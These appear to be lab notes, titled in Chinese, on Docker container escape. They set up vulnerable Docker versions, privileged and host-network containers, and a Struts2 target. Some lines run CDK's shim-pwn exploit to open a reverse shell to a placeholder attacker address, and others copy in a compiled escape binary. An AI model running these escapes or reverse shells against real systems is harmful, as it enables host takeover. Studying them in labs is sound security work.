云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

docker cp main 7f4793f3ac0cd13:/
docker exec -it 7f4793f3ac0cd13 /bin/bash

docker run -it -p 8888:8080 vulhub/struts2:s2-053

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash

docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx

docker run -it -p 8888:8080 vulhub/struts2:s2-053

./cdk_linux_amd64 evaluate

./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx